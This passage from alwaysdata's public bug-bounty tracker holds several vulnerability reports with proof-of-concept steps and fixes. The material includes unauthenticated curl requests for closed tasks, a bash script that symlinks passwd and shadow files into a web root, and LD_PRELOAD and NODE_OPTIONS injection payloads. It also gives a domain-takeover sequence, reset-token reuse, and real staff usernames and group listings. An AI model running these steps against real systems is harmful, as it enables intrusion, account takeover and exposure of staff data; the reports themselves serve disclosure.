## Expected Behavior The Working Directory should remain restricted to the directories authorized for the service. Traversal sequences such as ../ should not allow the resolved path to escape that boundary.
## Proof Of Concept Drive_Link → https://drive.google.com/file/d/117lXZYv3Y6KHEjs8qEGSIP4gGsPzrE8v/view?usp=sharing
## Summary An authenticated Alwaysdata user can use path traversal in the Service Working Directory field to escape the intended directory restriction, causing service commands such as ls to execute from unauthorized filesystem locations and disclose directory/file names through service logs.
Thanks
|
|
446 | Missing Authorization Check Allows Unauthenticated Acce ... | Closed | 19.08.2026 |
Task Description
Hi Team We have Found a Vulnerability in your Website.
Target: security.alwaysdata.com
Endpoint: https://security.alwaysdata.com/task/<id> (individual task pages), https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1 (RSS feed) Severity: P2 — Medium/High
security.alwaysdata.com is alwaysdata's own Flyspray-based vulnerability disclosure and bug bounty intake tracker. The authorization check that correctly restricts access to task pages (Error #102: You have no permission to view this task) is not applied once a task's status is changed to Closed. Any unauthenticated user can browse /task/<id> for a closed task and receive the full report body — title, description, complete reproduction steps, PoC scripts, affected infrastructure hostnames, internal usernames, and private staff/reporter comment threads.
This is not limited to one task. Testing across six closed tasks spanning different vulnerability classes and dates confirms the behavior is systemic, not an isolated misconfiguration on a single report. An accompanying open (unpatched) task was correctly blocked under identical, cookie-free request conditions, isolating the defect specifically to the closed-status code path rather than a site-wide access control failure.
Root CauseThe task detail view in Flyspray renders a Private field in its metadata table, but that field was empty on the tested task (confirmed by inspecting the rendered HTML — no private value or class was present). This means the exposure is not an override of an explicit Private flag. The actual defect is narrower and more precise:
The authorization check that gates task visibility is not invoked — or is bypassed — once a task's status transitions to Closed.
Evidence for this: an open task (FS#444) under the exact same unauthenticated request conditions returns Error #102: You have no permission to view this task, logging in might help. The moment a task is closed, that same check no longer applies. Status, not the Private flag, is the variable that determines whether the authorization check runs.
CWE-862 — Missing Authorization is the precise classification: the system fails to perform an authorization check for a resource in one specific state (closed), while correctly performing it in another (open).
Proof of Concept All requests below were made with –cookie-jar /dev/null –cookie /dev/null, guaranteeing zero session state — no prior login, no leftover cookies, fully anonymous.
Step 1 — Control: open (unpatched) task correctly requires authentication curl -s "https://security.alwaysdata.com/task/444" \
-cookie-jar /dev/null –cookie /dev/null
Response includes:
Error #102: You have no permission to view this task, logging in might help. No task title, description, or body content is returned — only the shell page and login form.
Step 2 — Closed task renders full content, zero authentication curl -s "https://security.alwaysdata.com/task/440" \
-cookie-jar /dev/null –cookie /dev/null
Returns HTTP 200 with the complete task page, including:
Full title: FS#440 - Incomplete Fix for FS#426 - Staff Files Still Publicly Accessible via Symlink Status field: Closed Opening description paragraph of the vulnerability Redacted excerpt (sensitive reproduction steps, PoC script, and internal usernames omitted — see Impact section for what was present in the full response):
Status: Closed Assigned To: cbay Opened by Bores - 10.08.2026 Last edited by cbay - 10.08.2026
FS#440 - Incomplete Fix for FS#426 - Staff Files Still Publicly Accessible via Symlink
The fix for FS#426 removed staff entries from NSS (`getent passwd` now returns empty for staff), but the files themselves were not restricted…
[Report continues with full SSH reproduction steps, a working PoC bash script, specific staff usernames, and internal staff comments discussing bounty payout — omitted from this report to avoid redistributing sensitive data already exposed by the underlying access control failure being reported here.]
Step 3 — Confirm zero session state and quantify the content disparity echo "=== Closed task ( FS#440 ) ===" curl -s –cookie-jar /dev/null –cookie /dev/null \
"https://security.alwaysdata.com/task/440" | wc -l
echo "=== Open task (FS#444) ===" curl -s –cookie-jar /dev/null –cookie /dev/null \
"https://security.alwaysdata.com/task/444" | wc -l
Result:
Closed task (FS#440)
Open task (FS#444)
136 Both requests use identical, empty cookie jars. The closed task returns 3.3x more content — the full report body — while the open task returns only the login-gated shell page. This isolates the defect to task status, ruling out session leakage or caching artifacts as an explanation.
Step 4 — Confirm the pattern is systemic across multiple closed tasks for id in 401 415 423 426 440 443; do
echo "=== task/$id ==="
curl -sk -o /tmp/task_$id.html -w "HTTP:%{http_code}\n" \
"https://security.alwaysdata.com/task/$id"
grep -o '<title>[^<]*</title>' /tmp/task_$id.html
done Result — all six closed tasks return HTTP 200 with full titles rendered, unauthenticated:
task/401
HTTP:200 <title> FS#401 : Critical SSRF via Application Script Source URI — Cross-Tenant Data Leak</title>
task/415
HTTP:200 <title> FS#415 : SSTI → RCE on Core Infrastructure Server (overlord-core)</title>
task/423
HTTP:200 <title> FS#423 : Broken Object Level Authorization (IDOR) → Mass PII Disclosure</title>
task/426
HTTP:200 <title> FS#426 : Internal staff account and privilege hierarchy disclosure via SSH</title>
task/440
HTTP:200 <title> FS#440 : Incomplete Fix for FS#426 - Staff Files Still Publicly Accessible via Symlink</title>
task/443
HTTP:200 <title> FS#443 : Authenticated API Disclosure of DKIM Private Keys</title> [Screenshot 4 — attach here: full terminal output of this loop]
Step 5 — Independent surface: RSS feed leaks the same data without authentication curl -sk "https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1" Returns task titles, authors, and publish dates for recently filed reports without authentication — including reports as recent as 2–3 days old at test time ( FS#442 , FS#443 ). This confirms a second, independent code path exposes the same underlying data, and that newly filed reports enter the exposed state quickly.
Impact What is exposed, concretely, right now, to any unauthenticated internet user:
Complete vulnerability disclosure content for every closed report on the tracker, including:
Exact vulnerable endpoints and affected infrastructure hostnames Full reproduction steps, in some cases including working exploit/PoC scripts CVSS scores and severity classifications Internal staff usernames and reporter identities Private comment threads between alwaysdata staff and reporters
2)A live reconnaissance dataset spanning multiple vulnerability classes, confirmed present across the six tasks tested alone: SSRF ( FS#401 ), server-side template injection leading to RCE ( FS#415 ), IDOR/mass PII disclosure ( FS#423 ), internal account disclosure ( FS#426 ), symlink-based file exposure ( FS#440 ), and API key disclosure ( FS#443 ). The RSS feed additionally surfaces titles for further reports ( FS#427 , FS#429 , FS#430 , FS#432 , FS#433 , FS#442 ) not deep-tested here but following the identical exposure pattern.
3)A demonstrated fix-verification gap. The tracker's own history shows this is not a theoretical risk: FS#426 was closed as fixed, and within 6 days a bypass of that exact fix was filed as FS#440 — the bypass author could only have known the precise remediation detail (which NSS entries were removed, without the underlying file permissions being fixed) by reading the closed FS#426 report on this same publicly-accessible tracker.
4)Real-time exposure of new reports. The RSS feed surfaces new task titles within hours of filing, meaning the window between "vulnerability reported" and "details become guessable/discoverable via title" is effectively zero, independent of whether the underlying bug has been fully remediated across all affected infrastructure.
5)Attack surface mapping at scale. Two years of closed reports on this tracker constitute a complete map of every vulnerability class alwaysdata's own infrastructure has been susceptible to, the exact endpoints involved, and in several cases exploit code — usable by an attacker to identify recurring weak points (e.g., the file-permission/symlink issue spanning both FS#426 and FS#440 ) without ever probing the live application themselves.
Remediation Immediate:
Enforce the same authorization check on closed tasks that is currently correctly applied to open tasks. Task visibility must be gated by project membership/authentication regardless of status. Audit the Flyspray permission configuration for the "Security vulnerabilities" project to identify why the anonymous-access check is being bypassed specifically for closed-status tasks — this is most likely a conditional in the task-rendering logic that special-cases closed tasks (e.g., for public changelog purposes) without accounting for the confidentiality requirement of a private security tracker.
RSS feed:
Require authentication for /feed.php or disable it for the Security vulnerabilities project. If transparency is a goal:
Publish a separate, manually curated advisories page with sanitized summaries only, released on a fixed delay (e.g., 90 days) after full remediation is verified across all affected infrastructure — do not rely on the tracker's native closed-task view for this purpose.
Kind Regards Team TrinityXploit
|
|
445 | High — FS#390 Incomplete Fix: Runtime-Control Environme ... | Closed | 19.08.2026 |
Task Description
Subject: High Severity — FS#390 Incomplete Fix: Runtime-Control Environment Variable Injection via Site API
Hello alwaysdata Security Team,
I am reporting a High Severity incomplete-fix vulnerability related to FS#390 , concerning runtime-control environment variable injection through the Site API.
### Researcher
Hacker AK Security Researcher Email: [hackerak822@gmail.com](mailto:hackerak822@gmail.com)
### Severity
High — CVSS 3.1: 8.8
```text AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H ```
### Summary
The previously reported FS#390 vulnerability allowed customer-controlled environment variables to influence application process startup through the alwaysdata Site API.
The original issue involved the `LD_PRELOAD` environment variable. Although the original vulnerability was fixed, the broader security boundary around runtime-control environment variables should also prevent equivalent startup mechanisms.
The affected functionality is:
```http PATCH /v1/site/{SITE_ID}/ ```
through the:
```json {"environment":"<VARIABLE>=<VALUE>"} ```
field.
Runtime-control variables such as `NODE_OPTIONS`, `PYTHONSTARTUP`, `RUBYOPT`, `PERL5OPT`, and `BASH_ENV` can influence interpreter startup and may provide an attacker-controlled code-execution primitive.
### Original FS#390 Context
The original vulnerability involved:
```text LD_PRELOAD=/tmp/evil.so ```
through the `environment` field.
The original FS#390 issue was fixed on July 13, 2026.
### Primary Proof of Concept
The primary validation payload is:
```text NODE_OPTIONS=–version ```
Request:
```bash curl -s -o /tmp/out.json -w "HTTP:%{http_code}\n" \
-
-basic –user "$APIKEY:" \
H "Content-Type: application/json" \
d '{"environment":"NODE_OPTIONS=–version"}'
```
The purpose of this PoC is to verify whether the Site API security control covers runtime-control environment variables beyond the originally reported `LD_PRELOAD`.
### Security Impact
If a runtime-control variable is accepted and persisted, it can influence application startup.
For example:
```text NODE_OPTIONS=–require /path/to/module.js ```
can cause Node.js to load a module automatically during startup.
Potential impact includes:
* Arbitrary code execution as the site user * Access to application environment variables * Exposure of API keys and database credentials * Modification of application files * Application-level persistence * Runtime manipulation
### Recommended Remediation
The preferred remediation is to use a strict allowlist for customer-controlled environment variables rather than maintaining an expanding denylist.
Recommended controls:
1. Allow only explicitly permitted environment-variable names. 2. Normalize variable names before validation. 3. Reject leading/trailing whitespace and malformed definitions. 4. Validate both variable names and values. 5. Apply validation consistently across all Site API management paths. 6. Ensure application processes receive only explicitly permitted environment variables.
### Regression Tests
The following runtime-control variables should be covered by the security validation:
```text LD_PRELOAD=canary LD_LIBRARY_PATH=canary
NODE_OPTIONS=–version NODE_PATH=canary
PYTHONSTARTUP=canary PYTHONPATH=canary PYTHONHOME=canary PYTHONINSPECT=1
RUBYOPT=canary RUBYLIB=canary
PERL5OPT=canary PERL5LIB=canary
BASH_ENV=canary ENV=canary
JAVA_TOOL_OPTIONS=canary _JAVA_OPTIONS=canary ```
Normalization variants should also be tested:
```text ld_preload=canary Ld_Preload=canary LD_PRELOAD =canary ```
### Impact
An authenticated attacker with the required Site API permissions could potentially use a permitted runtime-control environment variable to influence the startup behavior of their hosted application.
If code execution is confirmed, the attacker could potentially:
* Execute arbitrary code as the site user * Read application secrets * Access environment credentials * Modify application files * Establish persistence * Affect application availability and integrity
Severity: High — CVSS 3.1: 8.8
### Requested Action
Please verify that the FS#390 remediation protects against the complete class of runtime-control environment variable injection, rather than only the originally reported `LD_PRELOAD` value.
The security requirement should be:
Customer-controlled environment variables must not be capable of modifying interpreter, loader, shell, or JVM startup behavior.
Thank you for reviewing this security report.
Regards,
Hacker AK Security Researcher [hackerak822@gmail.com](mailto:hackerak822@gmail.com)
Testing Date: 2026-08-16
|
|
443 | Authenticated API Disclosure of DKIM Private Keys | Closed | 13.08.2026 |
Task Description
Description
I identified a sensitive information disclosure vulnerability in the AlwaysData REST API affecting the Domain API resource.
An authenticated API user can request:
GET /v1/domain/
or an individual domain:
GET /v1/domain/{domain_id}/
and the API response contains the complete dkim_private_key value for the domain.
The response exposes the private RSA key alongside the public DKIM key. According to AlwaysData's own documentation, the DKIM private key is intended to be known only to and kept secret by the domain's mail delivery servers, while the public key is published through DNS. I validated this against my own authorized test accounts/domains and did not attempt to access or extract private keys belonging to unauthorized users.
CVSS → CVSS v3.1: 7.5 (High)
Steps to Reproduce 1. Obtain an authorized AlwaysData API token. Use an API token belonging to an account you control.AlwaysData documents API authentication using the API token followed by a colon.
2. Request the domain collection
curl -sS --basic \
--user "$APIKEY:" \
'https://api.alwaysdata.com/v1/domain/'
3. Observe the response The API returns domain objects containing:
{
"id": 130581,
"name": "www.dam.com",
"dkim_selector": "alwaysdata",
"dkim_public_key": "[REDACTED]",
"dkim_private_key": "[REDACTED]"
}
The actual dkim_private_key value contains a complete RSA private key.
4. Verify an individual domain Example:
curl -sS --basic \
--user "$APIKEY:" \
'https://api.alwaysdata.com/v1/domain/130581/'
The response again contains:
"dkim_private_key": "[REDACTED]"
5. Validation performed - The collection response returned the dkim_private_key field for 3 authorized domains. The individual domain endpoint also returned the same sensitive field.
For safety, I have not included the actual private-key material in this report.
Actual Behavior The authenticated Domain API returns the domain's complete DKIM private key in the JSON response.
The private key is exposed through:
GET /v1/domain/
GET /v1/domain/{domain_id}/
This means an API consumer with appropriate access to the domain resource can retrieve cryptographic secret material that should remain confidential.
Expected Behavior
The API should never return the DKIM private key through normal domain API responses.
If the private key is required for an administrative operation, it should remain server-side and should not be serialized into API responses.
The API response should expose only non-sensitive information such as:
{
"dkim_selector": "alwaysdata",
"dkim_public_key": "[public key]"
}
and omit:
"dkim_private_key"
Impact
The disclosed DKIM private key is cryptographic secret material used for DKIM email authentication. AlwaysData's documentation states that DKIM uses a private/public key pair and that the private key is kept secret by the mail delivery servers.
If an attacker obtains a valid DKIM private key for a domain and can use it appropriately, they may potentially be able to generate DKIM signatures associated with that domain.
This could undermine the trust provided by DKIM and potentially facilitate convincing domain-authenticated email activity.
The vulnerability therefore represents confidentiality loss of cryptographic credentials.
Business Impact
Potential business impact includes:
1- Exposure of customers' cryptographic signing secrets. 2- Potential compromise of email-authentication trust for affected domains. 3- Increased risk of domain impersonation/phishing scenarios. 4- Potential reputational damage to customers whose domains are affected. 5- Requirement to regenerate/revoke affected DKIM keys. 6- Incident-response and customer-notification costs if production keys are exposed.
Remediation 1- Remove dkim_private_key from all API responses. 2- Return only the DKIM public key and selector where required. 3- Keep private DKIM keys exclusively server-side. 4- Review the serializer/schema for the /v1/domain/ resource and individual domain endpoint. 5- Audit API permissions to ensure private cryptographic material cannot be retrieved through any other endpoint. 6- Rotate/regenerate all DKIM private keys that were exposed, because previously exposed keys should be considered compromised. 7- Review API and application logs to determine whether sensitive keys were accessed by unauthorized parties.
PoC Kindly check attachments
Conclusion
The AlwaysData Domain API currently exposes complete DKIM private keys to authenticated API clients through both the domain collection and individual-domain endpoints.
I confirmed the issue using only accounts and domains under my control and did not attempt to access other customers' private information.
The exposed value is a genuine cryptographic private key rather than merely metadata or a public DKIM record. This creates a significant confidentiality risk and should be remediated by removing the private key from API responses and rotating affected DKIM credentials.
Thanks Add regression tests ensuring secret fields such as private keys are never serialized in normal API responses.
|
|
442 | Cross-User File Read / Insecure File Permissions Leadin ... | Closed | 13.08.2026 |
Task Description
Description
A cross-user file access vulnerability was identified in the shared hosting environment. The authenticated user remberme is able to read files owned by other users, such as:
/tmp/dashboard.env.local.bak
The file is owned by another account:
Owner: davidgoncalves
Group: davidgoncalves
Permissions: 664
The permission mode 664 grants read access to users outside the file owner/group through the other::r– permission.
Using the remberme account, I successfully verified that the file is readable, demonstrating a violation of expected cross-user filesystem isolation.
CVSS → CVSS v3.1: 7.0 (High)
The severity may increase if the affected files contain credentials, API keys, private source code, customer information, or other sensitive data.
Steps to Reproduce
1- Log in to the hosting environment using a normal account, e.g.: remberme@ssh1
2- Identify a file belonging to another user: stat -c 'owner=%U group=%G mode=%a file=%n' /tmp/dashboard.env.local.bak
3- The file reports:
owner=davidgoncalves
group=davidgoncalves
mode=664
4- Check the ACL: getfacl -p /tmp/dashboard.env.local.bak
5- The output confirms:
user::rw-
group::rw-
other::r--
6- While authenticated as remberme, verify read access: test -r /tmp/dashboard.env.local.bak && echo "READABLE" || echo "NOT_READABLE"
7- The result is: READABLE
8- A non-destructive read test was performed:
head -c 1 /tmp/dashboard.env.local.bak >/dev/null 2>&1 \
&& echo "CROSS-USER READ CONFIRMED" \
|| echo "READ FAILED"
9- Result: CROSS-USER READ CONFIRMED No modification, deletion, or execution of the other user's file was performed.
Actual Behaviour
A normal authenticated user is able to obtain read access to a file owned by another user/account. This demonstrates insufficient filesystem isolation between users in the shared hosting environment.
Expected Behaviour
Files belonging to another customer/user should not be readable by an unrelated authenticated account unless explicitly shared. The platform should enforce strict per-user filesystem isolation and ensure that customer-owned files are inaccessible to other customers.
Impact An attacker with a valid low-privileged hosting account could potentially enumerate and read files belonging to other users when those files are created with overly permissive permissions.
Depending on the affected files, this could expose:
1- Application source code 2- Configuration files 3- Database credentials 4- API keys/tokens 5- Environment variables 6- Internal application data 7- Customer-specific information 8- Backup files
The demonstrated .env.local.bak filename is particularly concerning because environment/backup files commonly contain application configuration and secrets.
Business Impact
This issue breaks the fundamental tenant isolation expected from a multi-user hosting platform.
Successful exploitation could allow one customer to access another customer's confidential application data or credentials, potentially resulting in:
1- Customer data exposure 2- Credential/API-key compromise 3- Unauthorized access to external services 4- Loss of customer trust 5- Privacy and compliance concerns 6- Increased impact from chained attacks
The business impact depends on the sensitivity of the files exposed through the insecure permissions.
Conclusion
The testing demonstrates that the remberme account can read a file owned by the unrelated davidgoncalves account due to permissive filesystem permissions.
The issue is therefore reproducible and not merely theoretical. I recommend enforcing strict per-user filesystem isolation and preventing files created by one customer from being readable by other customers by default.
Thanks
|
|
440 | Incomplete Fix for FS#426 - Staff Files Still Publicly ... | Closed | 10.08.2026 |
Task Description
The fix for FS#426 removed staff entries from NSS (`getent passwd` now returns empty for staff), but the files themselves were not restricted. /alwaysdata/etc/passwd and /alwaysdata/etc/group remain mode 644 and can be read directly via `cat` from any SSH session.
Worse: because Apache uses FollowSymLinks without SymLinksIfOwnerMatch, an SSH user can symlink these files into ~/www/ and serve them over HTTPS to anyone on the internet without authentication. This escalates the exposure from "SSH-only" ( FS#426 ) to "public internet."
Vulnerable asset: ssh://ssh-[account].alwaysdata.net https://[account].alwaysdata.net/ (Apache with FollowSymLinks) Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)
Root cause: 1. Files not restricted after FS#426 fix (still -rw-r–r–) 2. Apache follows symlinks pointing outside DocumentRoot regardless of target ownership
Steps to reproduce:
1. SSH in:
ssh bores@ssh-bores.alwaysdata.net
2. Confirm FS#426 fix is in place (NSS no longer exposes staff):
$ getent passwd | grep "/alwaysdata/home/"
(no output)
3. File still readable directly:
$ cat /alwaysdata/etc/passwd
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
$ ls -l /alwaysdata/etc/passwd
-rw-r--r-- 1 root root 440 Dec 9 2024 /alwaysdata/etc/passwd
4. Symlink into web root and serve publicly:
$ ln -sf /alwaysdata/etc/passwd ~/www/staff
$ ln -sf /alwaysdata/etc/group ~/www/roles
5. Fetch from anywhere (no auth, no SSH needed):
$ curl https://bores.alwaysdata.net/staff
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
$ curl https://bores.alwaysdata.net/roles
alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
alwaysdata_support:x:502:hdegorce
6. Negative control (root-only file blocked as expected):
$ ln -sf /etc/shadow ~/www/shadow
$ curl https://bores.alwaysdata.net/shadow
403 Forbidden
7. Cleanup:
$ rm ~/www/staff ~/www/roles ~/www/shadow
PoC script (run from any machine with sshpass + curl):
#!/bin/bash
# Usage: bash poc.sh <account> <password>
ACCOUNT="$1"; PASSWORD="$2"
SSH="ssh-${ACCOUNT}.alwaysdata.net"
WEB="https://${ACCOUNT}.alwaysdata.net"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
'ln -sf /alwaysdata/etc/passwd ~/www/poc_staff && ln -sf /etc/shadow ~/www/poc_shadow'
echo "Staff file:" && curl -s "${WEB}/poc_staff"
echo "Shadow (should 403):" && curl -s -o /dev/null -w "%{http_code}" "${WEB}/poc_shadow"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
'rm -f ~/www/poc_staff ~/www/poc_shadow'
Impact: - Same data as FS#426 , but now served to the public internet (no SSH required to view) - Any world-readable system file can be exposed this way (/etc/passwd, /etc/mysql/mariadb.cnf, etc.) - An attacker only needs to share the URL; the recipient needs no account or credentials to see staff data
Tested on my own account only. Symlinks removed after each test.
Suggested fix: 1. chmod 640 /alwaysdata/etc/passwd /alwaysdata/etc/group (root:alwaysdata_team) 2. Switch customer vhosts to Options SymLinksIfOwnerMatch Either one blocks this; both together for defense in depth.
|
|
438 | Title: Domain Transfer Logic Flaw Allows Domain Takeove ... | Closed | 18.08.2026 |
Task Description
Severity: Critical
Description
There is a logic flaw in the domain transfer workflow that allows a previously created transfer request to remain valid and executable even after the domain has already been transferred to another user.
The application does not invalidate or revalidate pending transfer requests when the domain’s ownership or state changes. As a result, an attacker can create a transfer request targeting an email address they control, retain this request, and then allow the domain to be legitimately transferred to the victim’s account.
After the transfer is completed, the previously created transfer request remains valid. The attacker can therefore use it at a later time to transfer the domain from the victim’s account to an account controlled by the attacker.
In other words, the attacker can retain a persistent path to take over the domain even after the domain has become owned by the victim.
Steps to Reproduce
Create a domain from an attacker-controlled account.
Navigate to Domain Settings → DNSSEC.
Toggle the DNSSEC status between Active and Deactivated approximately 6 times.
Create a transfer request for the domain to another account controlled by the victim.
Have the victim accept the transfer request.
During the short period before the transfer state is fully reflected, the attacker cancels the visible transfer request.
The attacker immediately creates another transfer request for the domain to an email address they control.
The transfer request accepted by the victim is processed, and the domain reaches the victim’s account.
Despite the domain ownership having been transferred to the victim, the previously created transfer request by the attacker remains valid and usable.
The attacker can later accept the old transfer request, causing the domain to be transferred from the victim’s account to the attacker’s account.
POC: https://admin.alwaysdata.com/support/95089/
Impact
The vulnerability results in unauthorized domain takeover with a persistent path to regain control of the domain.
The issue is not merely temporary access or unauthorized modification of a transfer request; the attacker can retain a valid transfer request that can be used later, even after ownership of the domain has been legitimately transferred to the victim.
After the domain is transferred to the attacker’s account, they can control the resources hosted on or associated with the domain, including, depending on the resources associated with it:
The website associated with the domain.
DNS configuration.
Email addresses and mailboxes.
Mailing Lists.
Users associated with the domain.
Databases and other resources associated with the domain.
Therefore, the ultimate impact is complete loss of domain ownership and control over the hosted infrastructure and resources associated with it, rather than merely manipulating a transfer request.
Suggested Remediation
Transfer Requests should be treated as stateful, single-use transactions and must not remain valid after the domain’s ownership or transfer state changes.
|
|
433 | Password Reset Tokens Not Invalidated After Password Ch ... | Closed | 07.08.2026 |
Task Description
The admin panel password reset at admin.alwaysdata.com issues tokens with a 3-day validity window. When a user triggers multiple resets, using one token to change the password does not invalidate the others. An older sibling token remains fully functional and can overwrite the new password at any point within its 3-day lifetime, giving an attacker persistent account takeover that the victim cannot revoke.
Vulnerable endpoint: https://admin.alwaysdata.com/user/reset_password/ Token generation: https://admin.alwaysdata.com/password/lost/
ROOT CAUSE
Token validation does not include the current password hash. Django's default PasswordResetTokenGenerator binds tokens to the password hash, so any credential change voids all outstanding tokens. The custom implementation here validates only user_id, timestamp, and expiration. A consumed token correctly shows "invalid" on revisit (per-token single-use works), but unconsumed sibling tokens remain valid after a password change through a different token.
REPRODUCTION
Tested 2026-08-07, Chrome on Windows 11, production admin.alwaysdata.com. One test account owned by me.
1. Triggered two password resets for the same account within 6 seconds. Received Token A (timestamp 1786058809) and Token B (timestamp 1786058815).
2. Opened Token B. Reset form displayed. Set password to "TokenBProof_2026!" and submitted. Server returned 302 to /login/ (password changed).
[Screenshot 1: Token B form with password visible]
[Screenshot 2: redirect to /login/]
3. Opened Token A (issued before the password change). Reset form still displayed. Set password to "TokenAProof_ATO!" and submitted. Server returned 302 to /login/.
[Screenshot 3: Token A form still active after password was already changed]
[Screenshot 4: redirect to /login/]
4. On the login page, entered email + "TokenAProof_ATO!" and submitted. Server showed 2FA prompt ("You have enabled two-factor authentication, so please enter your security code"), confirming the stale token's password is now the active credential.
[Screenshot 5: login form with credentials]
[Screenshot 6: 2FA prompt]
Expected: Token A should show "invalid link" after the password was changed via Token B. Actual: Token A remains functional and overwrites the new password.
IMPACT
An attacker who gains temporary access to a victim's email (phishing, shared workstation, corporate mail breach) can save one reset link. Even if the victim notices and resets their own password, the attacker's saved link remains valid for up to 3 days. Using it overwrites whatever password the victim set, completing account takeover.
On alwaysdata, this exposes: web hosting management, SSH access, databases, mailboxes, domain/DNS configuration, API tokens, and billing.
All testing was performed against my own accounts only. A standalone PoC script (poc.py) is attached.
SUGGESTED FIX
Include the password hash in token validation by switching to Django's built-in PasswordResetTokenGenerator. Alternatively, store a per-user token nonce and increment it on every password change, rejecting tokens with stale nonce values. Reducing the token lifetime from 3 days to 1 hour would also limit the exploitation window.
|
|
432 | Improper Cache Control Enabling Sensitive Data Exposure ... | Closed | 05.08.2026 |
Task Description
Improper Cache Control Enabling Sensitive Data Exposure via Mobile Swipe Navigation Target admin.alwaysdata.com Vulnerability Class CWE-525: Use of Web Browser Cache Containing Sensitive Information / Improper Cache-Control Report Date August 4, 2026 Reported By [ Waleed Anwar ] Severity [ e.g. Medium — CVSS 3.1: . ] Affected Endpoint(s) [ e.g. /dashboard, /account, /admin/* ] Status [ New submission ] 1. Summary The application at admin.alwaysdata.com fails to set adequate Cache-Control headers on pages containing session-authenticated or sensitive account data. On mobile browsers (iOS Safari / Android Chrome), swipe-based back/forward navigation restores a full-page snapshot from the browser's back-forward cache (bfcache) rather than issuing a fresh request to the server. As a result, sensitive content may remain visible to a subsequent user of the same device even after logout or session expiry. 2. Vulnerability Details 2.1 Root Cause HTTP responses for authenticated pages do not include a strict no-store cache directive, or include a weaker directive that still permits browser-level storage of the rendered page. This allows swipe-gesture navigation on mobile browsers to render a cached snapshot of a previously authenticated state. 2.2 Observed Headers GET /dashboard HTTP/1.1 Host: admin.alwaysdata.com
HTTP/1.1 200 OK [ Cache-Control: <value observed, or note if header is absent> ] [ Pragma: <value observed, or note if header is absent> ] [ Expires: <value observed, or note if header is absent> ] 2.3 Expected / Recommended Headers Cache-Control: no-store, no-cache, must-revalidate, private Pragma: no-cache 3. Steps to Reproduce • Log in to admin.alwaysdata.com on a mobile browser (iOS Safari or Android Chrome) Navigate to a sensitive/authenticated page. • Log out of the application • Perform a swipe-back gesture (iOS edge-swipe or Android back gesture) • Observe[ sensitive data was exposed, while in login page email and password was also shown]. 4. Impact • Shared/public device exposure: a subsequent user of the same device may view a previous user's authenticated session data via swipe navigation • Post-logout data persistence: sensitive account information remains visible after the session has ended • [ Add any additional impact confirmed during testing, e.g. exposure of specific data fields, tokens, or admin functionality ] 6. Recommended Remediation • Apply Cache-Control: no-store, no-cache, must-revalidate, private to all responses containing session-bound or sensitive data • Include a Pragma: no-cache header for legacy HTTP/1.0 client compatibility • Send a Clear-Site-Data header on logout to purge cached data client-side • For single-page app views, listen for the pageshow event and check event.persisted to force re-authentication or a fresh data fetch when a page is restored from bfcache • Re-test explicitly with swipe-back gestures on iOS Safari and Android Chrome after remediation, not solely the desktop back button, as bfcache behavior differs by platform and browser engine.
Thank You,
Waleed Anwar
|
|
430 | Cross-Tenant Localhost Access via Shared Network Namesp ... | Closed | 02.08.2026 |
Task Description
## Summary
Any SSH user on a shared hosting server can connect to TCP services running on localhost (127.0.0.1) that belong to other customers.
Although the platform enforces process isolation using `hidepid=invisible` and restricts visibility of other users' processes under `/proc`, all SSH users continue to share the same Linux network namespace (`net:[4026531833]`). As a result, any service listening on `127.0.0.1` or `0.0.0.0` is reachable by every tenant on the same physical server.
Using only an unprivileged SSH account, I was able to:
* Access another customer's Cloudflare Tunnel management API * Read the tunnel configuration, hostname, connector ID, metrics, and origin service information * Access the tunnel's backend service directly * Execute inference requests against another customer's AI model router * Access a third customer's web application hosted on localhost
—
## Affected Asset
``` ssh://ssh-bres3680test.alwaysdata.net ```
Server
``` SSH2 Kernel: 6.18.38-alwaysdata OS: Debian 12 (Bookworm) ```
Affected Scope
All customer services listening on:
* `127.0.0.1` * `0.0.0.0`
on the same shared hosting server.
—
# Root Cause
The platform isolates processes using:
```bash hidepid=invisible ```
which prevents users from viewing other customers' processes via `/proc`.
```bash $ mount | grep proc
proc on /proc type proc (rw,relatime,gid=4,hidepid=invisible) ```
However, network isolation is not implemented.
Every SSH session runs inside the same Linux network namespace:
```bash $ readlink /proc/self/ns/net
net:[4026531833] ```
Namespace inode `4026531833` is the default host network namespace. Every customer account resolves to the same namespace, confirming there is no per-user network isolation.
As a result:
* users cannot determine which process owns a listening port, * but they can freely connect to every listening localhost service.
—
# Steps to Reproduce
## 1. Login via SSH
```bash $ whoami bres3680test
$ id uid=537578(bres3680test) gid=492644(bres3680test) groups=492644(bres3680test) ```
—
## 2. Verify no services belong to my account
```bash $ ps -u bres3680test -f UID PID PPID C STIME TTY TIME CMD bres368+ 1526282 1526280 0 00:52 ? 00:00:00 bash bres368+ 1526288 1526282 0 00:52 ? 00:00:00 ps -u bres3680test -f ```
```bash $ ss -tlnp | grep -c "users:" 0 ```
Because of `hidepid`, socket ownership is hidden, but listening ports remain visible.
